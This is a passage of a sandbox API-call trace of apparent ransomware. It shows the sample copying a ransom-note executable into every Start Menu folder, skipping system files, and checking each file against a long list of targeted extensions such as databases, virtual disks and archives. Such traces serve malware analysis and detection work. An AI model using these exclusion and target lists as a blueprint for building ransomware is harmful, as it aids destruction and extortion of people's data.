FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.655] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.655] ReleaseMutex (hMutex=0xec) returned 1 [0103.655] CloseHandle (hObject=0xec) returned 1 [0103.655] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Start Menu\\Programs" | out: lpString1="C:\\Documents and Settings\\Default\\Start Menu\\Programs") returned="C:\\Documents and Settings\\Default\\Start Menu\\Programs" [0103.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0103.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cca8 | out: hHeap=0x4f0000) returned 1 [0103.655] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Start Menu\\Programs") returned 53 [0103.655] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FE4D918F7B431F7BF41887055FB89599") returned 0xec [0103.655] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.655] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Start Menu\\Programs" | out: lpString1="C:\\Documents and Settings\\Default\\Start Menu\\Programs") returned="C:\\Documents and Settings\\Default\\Start Menu\\Programs" [0103.655] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.655] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.656] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.656] GetLastError () returned 0x0 [0103.656] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547d40 [0103.656] ReadFile (in: hFile=0xf4, lpBuffer=0x547d40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547d40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.657] CloseHandle (hObject=0xf4) returned 1 [0103.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.657] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.657] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d52d00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d52d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.657] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.657] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.657] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.657] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d52d00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d52d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.657] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.657] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.657] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.657] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.657] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x63b8b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0103.657] lstrcmpiW (lpString1="Accessories", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.657] lstrcmpiW (lpString1="Accessories", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.657] lstrcmpiW (lpString1="Accessories", lpString2=".") returned 1 [0103.657] lstrcmpiW (lpString1="Accessories", lpString2="..") returned 1 [0103.657] lstrcmpiW (lpString1="Accessories", lpString2="windows") returned -1 [0103.657] lstrcmpiW (lpString1="Accessories", lpString2="bootmgr") returned -1 [0103.657] lstrcmpiW (lpString1="Accessories", lpString2="temp") returned -1 [0103.657] lstrcmpiW (lpString1="Accessories", lpString2="pagefile.sys") returned -1 [0103.657] lstrcmpiW (lpString1="Accessories", lpString2="boot") returned -1 [0103.658] lstrcmpiW (lpString1="Accessories", lpString2="ids.txt") returned -1 [0103.658] lstrcmpiW (lpString1="Accessories", lpString2="ntuser.dat") returned -1 [0103.658] lstrcmpiW (lpString1="Accessories", lpString2="perflogs") returned -1 [0103.658] lstrcmpiW (lpString1="Accessories", lpString2="MSBuild") returned -1 [0103.658] lstrlenW (lpString="Accessories") returned 11 [0103.658] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Accessories" | out: lpString1="Accessories") returned="Accessories" [0103.658] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Accessories", dwFileAttributes=0x10) returned 1 [0103.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cca8 [0103.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x515178 [0103.659] lstrcatW (in: lpString1="Accessories", lpString2="\\" | out: lpString1="Accessories\\") returned="Accessories\\" [0103.659] lstrcatW (in: lpString1="Accessories\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Accessories\\HOW TO BACK YOUR FILES.exe") returned="Accessories\\HOW TO BACK YOUR FILES.exe" [0103.659] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\accessories\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.662] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2=".") returned 1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2="..") returned 1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2="windows") returned -1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2="bootmgr") returned -1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2="temp") returned -1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2="pagefile.sys") returned -1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2="boot") returned -1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2="ids.txt") returned -1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2="ntuser.dat") returned -1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2="perflogs") returned -1 [0103.662] lstrcmpiW (lpString1="Administrative Tools", lpString2="MSBuild") returned -1 [0103.662] lstrlenW (lpString="Administrative Tools") returned 20 [0103.662] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Administrative Tools" | out: lpString1="Administrative Tools") returned="Administrative Tools" [0103.663] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Administrative Tools", dwFileAttributes=0x10) returned 1 [0103.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc30 [0103.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x96) returned 0x53e8a0 [0103.663] lstrcatW (in: lpString1="Administrative Tools", lpString2="\\" | out: lpString1="Administrative Tools\\") returned="Administrative Tools\\" [0103.663] lstrcatW (in: lpString1="Administrative Tools\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Administrative Tools\\HOW TO BACK YOUR FILES.exe") returned="Administrative Tools\\HOW TO BACK YOUR FILES.exe" [0103.663] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Administrative Tools\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\administrative tools\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.665] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0103.665] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.665] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.665] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0103.665] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0103.665] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0103.665] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0103.665] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0103.666] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0103.666] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0103.666] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0103.666] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0103.666] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0103.666] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0103.666] lstrlenW (lpString="desktop.ini") returned 11 [0103.666] lstrcpyW (in: lpString1=0x241e8b4, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0103.666] lstrlenW (lpString="desktop.ini") returned 11 [0103.666] lstrlenW (lpString="Athena865") returned 9 [0103.666] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0103.666] lstrlenW (lpString=".dll") returned 4 [0103.666] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0103.666] lstrlenW (lpString=".lnk") returned 4 [0103.666] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0103.666] lstrlenW (lpString=".ini") returned 4 [0103.666] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0103.666] lstrlenW (lpString=".sys") returned 4 [0103.666] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0103.666] lstrlenW (lpString="desktop.ini") returned 11 [0103.666] lstrlenW (lpString="bak") returned 3 [0103.666] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0103.666] lstrlenW (lpString="ba_") returned 3 [0103.666] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0103.666] lstrlenW (lpString="dbb") returned 3 [0103.666] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0103.666] lstrlenW (lpString="vmdk") returned 4 [0103.666] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0103.666] lstrlenW (lpString="rar") returned 3 [0103.666] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0103.666] lstrlenW (lpString="zip") returned 3 [0103.666] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0103.667] lstrlenW (lpString="tgz") returned 3 [0103.667] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0103.667] lstrlenW (lpString="vbox") returned 4 [0103.667] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0103.667] lstrlenW (lpString="vdi") returned 3 [0103.667] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0103.667] lstrlenW (lpString="vhd") returned 3 [0103.667] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0103.667] lstrlenW (lpString="vhdx") returned 4 [0103.667] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0103.667] lstrlenW (lpString="avhd") returned 4 [0103.667] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0103.667] lstrlenW (lpString="db") returned 2 [0103.667] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0103.667] lstrlenW (lpString="db2") returned 3 [0103.667] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0103.667] lstrlenW (lpString="db3") returned 3 [0103.667] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0103.667] lstrlenW (lpString="dbf") returned 3 [0103.667] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0103.667] lstrlenW (lpString="mdf") returned 3 [0103.667] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0103.667] lstrlenW (lpString="mdb") returned 3 [0103.667] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0103.667] lstrlenW (lpString="sql") returned 3 [0103.667] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0103.667] lstrlenW (lpString="sqlite") returned 6 [0103.667] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0103.667] lstrlenW (lpString="sqlite3") returned 7 [0103.667] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0103.667] lstrlenW (lpString="sqlitedb") returned 8 [0103.668] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0103.668] lstrlenW (lpString="xml") returned 3 [0103.668] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0103.668] lstrlenW (lpString="$er") returned 3 [0103.668] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0103.668] lstrlenW (lpString="4dd") returned 3 [0103.668] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0103.668] lstrlenW (lpString="4dl") returned 3 [0103.668] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0103.668] lstrlenW (lpString="^^^") returned 3 [0103.668] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0103.668] lstrlenW (lpString="abs") returned 3 [0103.668] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0103.668] lstrlenW (lpString="abx") returned 3 [0103.668] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0103.668] lstrlenW (lpString="accdb") returned 5 [0103.668] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0103.668] lstrlenW (lpString="accdc") returned 5 [0103.668] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0103.668] lstrlenW (lpString="accde") returned 5 [0103.668] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0103.668] lstrlenW (lpString="accdr") returned 5 [0103.668] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0103.668] lstrlenW (lpString="accdt") returned 5 [0103.668] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0103.668] lstrlenW (lpString="accdw") returned 5 [0103.668] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0103.668] lstrlenW (lpString="accft") returned 5 [0103.668] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0103.668] lstrlenW (lpString="adb") returned 3 [0103.668] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0103.668] lstrlenW (lpString="adb") returned 3 [0103.668] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0103.669] lstrlenW (lpString="ade") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0103.669] lstrlenW (lpString="adf") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0103.669] lstrlenW (lpString="adn") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0103.669] lstrlenW (lpString="adp") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0103.669] lstrlenW (lpString="alf") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0103.669] lstrlenW (lpString="ask") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0103.669] lstrlenW (lpString="btr") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0103.669] lstrlenW (lpString="cat") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0103.669] lstrlenW (lpString="cdb") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0103.669] lstrlenW (lpString="ckp") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0103.669] lstrlenW (lpString="cma") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0103.669] lstrlenW (lpString="cpd") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0103.669] lstrlenW (lpString="dacpac") returned 6 [0103.669] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0103.669] lstrlenW (lpString="dad") returned 3 [0103.669] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0103.669] lstrlenW (lpString="dadiagrams") returned 10 [0103.669] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0103.669] lstrlenW (lpString="daschema") returned 8 [0103.669] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0103.669] lstrlenW (lpString="db-journal") returned 10 [0103.670] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0103.670] lstrlenW (lpString="db-shm") returned 6 [0103.670] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0103.670] lstrlenW (lpString="db-wal") returned 6 [0103.670] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0103.670] lstrlenW (lpString="dbc") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0103.670] lstrlenW (lpString="dbs") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0103.670] lstrlenW (lpString="dbt") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0103.670] lstrlenW (lpString="dbv") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0103.670] lstrlenW (lpString="dbx") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0103.670] lstrlenW (lpString="dcb") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0103.670] lstrlenW (lpString="dct") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0103.670] lstrlenW (lpString="dcx") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0103.670] lstrlenW (lpString="ddl") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0103.670] lstrlenW (lpString="dlis") returned 4 [0103.670] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0103.670] lstrlenW (lpString="dp1") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0103.670] lstrlenW (lpString="dqy") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0103.670] lstrlenW (lpString="dsk") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0103.670] lstrlenW (lpString="dsn") returned 3 [0103.670] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0103.671] lstrlenW (lpString="dtsx") returned 4 [0103.671] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0103.671] lstrlenW (lpString="dxl") returned 3 [0103.671] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0103.671] lstrlenW (lpString="eco") returned 3 [0103.671] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0103.671] lstrlenW (lpString="ecx") returned 3 [0103.671] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0103.671] lstrlenW (lpString="edb") returned 3 [0103.671] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0103.671] lstrlenW (lpString="epim") returned 4 [0103.671] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0103.671] lstrlenW (lpString="fcd") returned 3 [0103.671] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0103.671] lstrlenW (lpString="fdb") returned 3 [0103.671] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0103.671] lstrlenW (lpString="fic") returned 3 [0103.671] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0103.671] lstrlenW (lpString="flexolibrary") returned 12 [0103.671] lstrlenW (lpString="fm5") returned 3 [0103.671] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0103.671] lstrlenW (lpString="fmp") returned 3 [0103.671] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0103.671] lstrlenW (lpString="fmp12") returned 5 [0103.671] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0103.671] lstrlenW (lpString="fmpsl") returned 5 [0103.671] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0103.671] lstrlenW (lpString="fol") returned 3 [0103.671] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0103.671] lstrlenW (lpString="fp3") returned 3 [0103.671] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0103.672] lstrlenW (lpString="fp4") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0103.672] lstrlenW (lpString="fp5") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0103.672] lstrlenW (lpString="fp7") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0103.672] lstrlenW (lpString="fpt") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0103.672] lstrlenW (lpString="frm") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0103.672] lstrlenW (lpString="gdb") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0103.672] lstrlenW (lpString="gdb") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0103.672] lstrlenW (lpString="grdb") returned 4 [0103.672] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0103.672] lstrlenW (lpString="gwi") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0103.672] lstrlenW (lpString="hdb") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0103.672] lstrlenW (lpString="his") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0103.672] lstrlenW (lpString="ib") returned 2 [0103.672] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0103.672] lstrlenW (lpString="idb") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0103.672] lstrlenW (lpString="ihx") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0103.672] lstrlenW (lpString="itdb") returned 4 [0103.672] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0103.672] lstrlenW (lpString="itw") returned 3 [0103.672] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0103.672] lstrlenW (lpString="jet") returned 3 [0103.673] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0103.673] lstrlenW (lpString="jtx") returned 3 [0103.673] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0103.673] lstrlenW (lpString="kdb") returned 3 [0103.673] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0103.673] lstrlenW (lpString="kexi") returned 4 [0103.673] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0103.673] lstrlenW (lpString="kexic") returned 5 [0103.673] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0103.673] lstrlenW (lpString="kexis") returned 5 [0103.673] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0103.673] lstrlenW (lpString="lgc") returned 3 [0103.673] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0103.673] lstrlenW (lpString="lwx") returned 3 [0103.673] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0103.673] lstrlenW (lpString="maf") returned 3 [0103.673] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0103.673] lstrlenW (lpString="maq") returned 3 [0103.673] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0103.673] lstrlenW (lpString="mar") returned 3 [0103.673] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0103.673] lstrlenW (lpString="marshal") returned 7 [0103.673] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0103.673] lstrlenW (lpString="mas") returned 3 [0103.673] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0103.673] lstrlenW (lpString="mav") returned 3 [0103.673] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0103.673] lstrlenW (lpString="maw") returned 3 [0103.673] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0103.673] lstrlenW (lpString="mdbhtml") returned 7 [0103.673] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0103.673] lstrlenW (lpString="mdn") returned 3 [0103.673] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0103.674] lstrlenW (lpString="mdt") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0103.674] lstrlenW (lpString="mfd") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0103.674] lstrlenW (lpString="mpd") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0103.674] lstrlenW (lpString="mrg") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0103.674] lstrlenW (lpString="mud") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0103.674] lstrlenW (lpString="mwb") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0103.674] lstrlenW (lpString="myd") returned 3 [0103.674] 